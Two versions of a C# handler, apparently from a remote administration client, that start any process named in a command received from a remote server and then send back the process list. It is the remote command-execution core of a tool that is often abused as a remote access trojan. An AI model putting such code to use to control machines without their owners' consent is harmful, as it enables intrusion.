public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client) { if (string.IsNullOrEmpty(command.Processname)) { new Packets.ClientPackets.Status("Process could not be started!").Execute(client); return; } try { ProcessStartInfo startInfo = new ProcessStartInfo { UseShellExecute = true, FileName = command.Processname }; Process.Start(startInfo); } catch { new Packets.ClientPackets.Status("Process could not be started!").Execute(client); } finally { HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); } }
public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client) { ProcessStartInfo startInfo = new ProcessStartInfo(); startInfo.UseShellExecute = true; startInfo.FileName = command.Processname; Process.Start(startInfo); HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client); }